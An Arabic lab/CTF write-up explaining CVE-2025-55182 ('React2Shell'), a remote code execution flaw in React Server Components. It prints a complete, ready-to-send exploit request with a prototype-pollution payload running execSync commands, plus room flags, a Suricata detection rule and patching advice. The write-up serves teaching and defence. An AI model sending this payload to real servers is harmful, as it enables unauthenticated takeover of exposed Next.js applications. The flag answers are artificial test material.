
React2Shell CVE-2025-55182: إلغاء تسلسل غير آمن دون مصادقة في مكونات خادم React مما يؤدي إلى تنفيذ تعليمات برمجية عن بعد موثوق عبر بروتوكول Flight.
الصعوبة: متوسط ← متقدم
التصنيف: استغلال الويب | إزالة التسلسل | تنفيذ تعليمات برمجية عن بعد

CVE-2025-55182، الملقب بـ React2Shell، هو أحد تلك الثغرات التي تجعل المدافعين يشعرون بالتوتر فورًا 😬. تم اكتشافها في ديسمبر 2025، وتحمل درجة CVSS 10.0، وهذا يخبرك بالفعل أنها ليست مجرد خطأ عادي.
في جوهرها، تؤثر هذه الثغرة على مكونات خادم React (RSC) والأطر المبنية عليها — وأبرزها Next.js. الجزء المخيف؟
👉 تنفيذ تعليمات برمجية عن بعد بدون مصادقة 👉 طلب HTTP واحد مصمم بعناية 👉 التكوينات الافتراضية قابلة للاستغلال
لا حاجة لتسجيل الدخول. لا أذونات خاصة. مجرد طلب واحد جيد الصياغة.
react-server-dom-webpackreact-server-dom-parcelreact-server-dom-turbopackتشرح هذه الغرفة لماذا يوجد هذا الخلل، كيف يتم استغلاله، وماذا يمكن للمدافعين فعله حياله.
العلم: لا إجابة مطلوبة.
قبل الاستغلال، نحتاج إلى وضوح في البنية المعمارية.
تسمح مكونات خادم React (المقدمة في React 19) لأجزاء من تطبيق React بالعمل على الخادم، وليس المتصفح. هذا يعني:
يحدث الاتصال بين العميل والخادم عبر بروتوكول React Flight. هذا البروتوكول يسلسل البيانات على العميل ويزيل تسلسلها على الخادم.
يستخدم علامات خاصة:
$@ → مرجع كتلة (Chunk reference)
$B → مرجع blob
مسارات الخصائص عبر تدوين النقطتين مثال:
$1:constructor:constructor
⚠️ وهذا المنطق الخاص بالتسلسل هو بالضبط حيث يحدث الخلل.
سؤال: ما الرمز الذي يشير إلى مرجع blob؟
✅ الإجابة: $B
في قلب CVE-2025-55182 يكمن خلل كلاسيكي في إزالة التسلسل غير الآمنة.
لننظر إلى النمط القابل للاستغلال (لا تقطع 👇):
function requireModule(metadata) {
var moduleExports = __webpack_require__(metadata[0]);
// ... منطق إضافي ...
return moduleExports[metadata[2]]; // الخط القابل للاستغلال
}
في JavaScript، تدوين القوسين:
obj[someKey]
لا يحد من الوصول إلى الخصائص المُصَدَّرة فقط. بل يتجول في سلسلة النموذج الأولي بأكملها.
الآن يأتي الرؤية النقدية 👀:
.constructorconstructor يشير إلى منشئ الدالةFunction("code") = تنفيذ JS عشوائيلأن بروتوكول Flight يسمح بمسارات مفصولة بنقطتين، يمكن للمهاجم إرسال:
$1:constructor:constructor
والذي يحل إلى:
.constructor.constructor مرة أخرى → Functionعند هذه النقطة، انتهت اللعبة 🎮.
العلم: لا إجابة مطلوبة.
الآن دعنا نحلل PoC الخاص بـ maple3142، خطوة بخطوة.
يرسل المهاجم طلبًا متعدد الأجزاء يحتوي على كائن كتلة مزيف:
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\\"then\\":\\"$B1337\\"}",
"_response": {
"_prefix": "process.mainModule.require('child_process').execSync('xcalc');",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
يقلد هذا الكائن هيكل الكتلة الداخلي لـ React.
بتوجيه then إلى Chunk.prototype.then، يتم خداع React لـ انتظار منطق يتحكم فيه المهاجم.
العلامة $B1337 تُفعّل معالج إزالة تسلسل blob، والذي ينفذ داخليًا:
response._formData.get(response._prefix + id)
لكننا سمّمنا:
_formData.get → Function_prefix → JS ضارينتج عن ذلك التنفيذ:
Function("process.mainModule.require('child_process').execSync('xcalc');1337")
💥 تم تحقيق تنفيذ JavaScript عشوائي.
ينفذ PoC:
process.mainModule
.require('child_process')
.execSync('xcalc')
يمكن استبدال هذا بسهولة بـ:
العلم: لا إجابة مطلوبة.
هذا هو طلب الاستغلال الكامل (حرفيًا، غير مقطوع):
POST / HTTP/1.1
Host: localhost
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('xcalc');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
(...يستمر جسم الطلب متعدد الأجزاء...)
Next-Action يُفعّل إجراءات الخادمmultipart/form-data إجباري$@0 ينشئ مرجعًا ذاتيًا$B1337 يُفعّل منطق blobconstructor:constructor يؤدي إلى Functionهذا ليس عرضيًا — إنه سلسلة مصممة بدقة.
React: 19.0.0, 19.1.0, 19.1.1, 19.2.0
Next.js:
أخرى: React Router (RSC), Waku, Redwood SDK
📊 بحث Wiz: 39% من البيئات السحابية مكشوفة 🌐 Shodan: 571k+ خادم React، 444k+ Next.js
هذا... كثير 😶
أولاً في Repeater، قم بإنشاء طلب HTTP جديد واختر الهدف.

باستخدام Burp Suite Repeater، نرسل الحمولة:
execSync('id')

ولاحقًا:
execSync('whoami')

المستخدم: ubuntu
العلم:
{React-19.2.0}
استغلال نظيف وموثوق وقابل للتكرار 💀
أخبار جيدة للمدافعين 👮♂️ — الاستغلال يترك بصمات.
Next-Actionmultipart/form-data"status":"resolved_model""then":"$1:__proto__:then"هذه لا يجب أن تظهر أبدًا في حركة المرور العادية للمستخدمين.
alert http any any -> $LAN_NETWORK any (
msg:"Potential Next.js React2Shell / CVE-2025-66478 attempt";
flow:to_server,established;
content:"Next-Action"; http_header; nocase;
content:"multipart/form-data"; http_header; nocase;
pcre:"/Content-Disposition:\s*form-data;\s*name=\"0\"/s";
pcre:"/\"status\"\s*:\s*\"resolved_model\"/s";
pcre:"/\"then\"\s*:\s*\"\$1:__proto__:then\"/s";
classtype:web-application-attack;
sid:6655001;
rev:1;
)
{
"queries": {
"detect_rev2shell_react_server_components": {
"query": "SELECT name, version, path FROM npm_packages WHERE ...",
"interval": 3600
}
}
}
ممتاز لـ:

React2Shell هو مثال نصي على:
بمجرد تثبيت الإصدارات المصححة واتباع توصيات npm audit، يموت الاستغلال تمامًا ✅.
⚠️ لا تختبر هذا أبدًا خارج المختبرات المصرح بها.
🔥 قم دائمًا بالتحديث بسرعة.
🧠 افهم دائمًا لماذا يوجد الخلل — وليس فقط كيفية استغلاله.
إذا أعجبك هذا الشرح أو تريد البقاء على اتصال بعملي في مجال الأمن السيبراني وCTFs وVAPT:
🔗 GitHub: https://github.com/AdityaBhatt3010
💼 LinkedIn: https://www.linkedin.com/in/adityabhatt3010/
✍️ Medium: https://medium.com/@adityabhatt3010
اختراق سعيد — بمسؤولية 🗿🚀